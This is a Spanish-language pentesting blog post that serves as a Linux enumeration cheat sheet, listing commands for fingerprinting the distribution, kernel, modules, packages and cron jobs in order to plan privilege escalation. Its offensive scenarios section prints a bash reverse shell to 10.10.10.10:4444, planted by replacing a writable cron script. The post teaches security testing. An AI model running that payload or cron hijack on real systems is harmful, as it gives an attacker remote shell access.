← Blog

Obtener Información del Sistema Operativo

Comandos para obtener información del sistema: distribución, kernel, entorno, syscalls, tuning, módulos, aplicaciones y tareas programadas.

Obtener Información del Sistema Operativo

Operational Scope & Technical Objective

El fingerprinting del SO se apoya en tres fuentes: archivos bajo /etc (banners de distribución), /proc (versión de kernel y sysctls) y las herramientas del paquete util-linux/procps. Conocer la distribución, versión exacta de kernel y paquete gestor permite correlacionar CVEs, mientras que el inventario de aplicaciones, módulos del kernel, sysctls y tareas programadas alimenta la fase de escalada de privilegios.

High-Impact Syntax & Command Cheatsheet

Distribución

cat /etc/issue              # banner de login (distro y versión)
cat /etc/*-release          # metadatos de la distribución
cat /etc/lsb-release        # Debian/Ubuntu
cat /etc/redhat-release     # Red Hat / CentOS

Kernel

cat /proc/version           # string de compilación del kernel
uname -a                    # kernel, host, arquitectura
uname -mrs                  # máquina, release, sistema
rpm -q kernel               # paquetes de kernel instalados (RPM)
dmesg | grep Linux          # mensajes de arranque con versión del kernel
ls /boot | grep vmlinuz-    # kernels presentes en /boot

Entorno

cat /etc/profile            # entorno global de login
cat /etc/bashrc             # bash global (RHEL)
cat ~/.bash_profile         # entorno de login del usuario
cat ~/.bashrc               # bash interactivo del usuario
cat ~/.bash_logout          # acciones al salir
env                         # variables de entorno actuales
set                         # variables y funciones del shell

Impresoras

lpstat -a   # colas de impresión disponibles

Syscalls disponibles

cat /usr/include/i386-linux-gnu/asm/unistd_32.h   # tabla de syscalls (i386)

Kernel tuning (sysctl)

sysctl              # muestra/ajusta parámetros del kernel en runtime
sysctl -a | less    # ver toda la configuración efectiva
# Cambios temporales:
sysctl -w net.ipv4.ip_forward=1
# Cambios permanentes:
vim /etc/sysctl.conf

Módulos del kernel

ls -l /etc/modprobe.d/                  # config de los módulos (modprobe)
ls -R /lib/modules/$( uname -r )/kernel # módulos disponibles para el kernel activo

insmod <module>        # inserta un módulo en el kernel
modprobe -r <module>   # elimina un módulo (resuelve dependencias)
rmmod <module>         # elimina un módulo directamente
modprobe -l            # lista módulos disponibles
lsmod                  # módulos cargados en el kernel activo

Aplicaciones instaladas y versiones

ls -alh /usr/bin/             # binarios de usuario
ls -alh /sbin/                # binarios de sistema
dpkg -l                       # paquetes instalados (Debian)
rpm -qa                       # paquetes instalados (RPM)
ls -alh /var/cache/apt/archives   # archivos .deb en caché
ls -alh /var/cache/yum/           # caché de yum

Tareas programadas

crontab -l                          # cron del usuario
ls -alh /var/spool/cron             # crontabs de usuarios
ls -al /etc/ | grep cron            # directorios/archivos cron en /etc
ls -al /etc/cron*                   # directorios cron (hourly/daily/weekly/monthly)
cat /etc/cron*                      # contenido de las definiciones cron
cat /etc/at.allow                   # usuarios autorizados para at
cat /etc/at.deny                    # usuarios excluidos de at
cat /etc/cron.allow                 # usuarios autorizados para cron
cat /etc/cron.deny                  # usuarios excluidos de cron
cat /etc/crontab                    # crontab del sistema
cat /etc/anacrontab                 # anacron (tareas no 24/7)
cat /var/spool/cron/crontabs/root   # crontab de root

Real-World Offensive/Defensive Scenarios

  • Correlación de CVEs (ofensivo): la pareja uname -a + cat /etc/*-release se contrasta contra linux-exploit-suggester.sh; rpm -qa/dpkg -l extienden el análisis a aplicaciones de usuario con versiones vulnerables.

  • Persistencia y escalada por cron (ofensivo): el bloque de tareas programadas revela scripts periódicos; si un cronjob referencia rutas relativas o archivos modificables, se sustituye el script para ejecutar un reverse shell:

    #!/bin/bash
    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
    
  • Syscalls restringidas y módulos (defensivo): auditar lsmod para detectar módulos no autorizados, sysctl -a para verificar kernel.dmesg_restrict=1, kernel.kptr_restrict=2 y net.ipv4.ip_forward, y dpkg -l/rpm -qa para rastrear software desactualizado.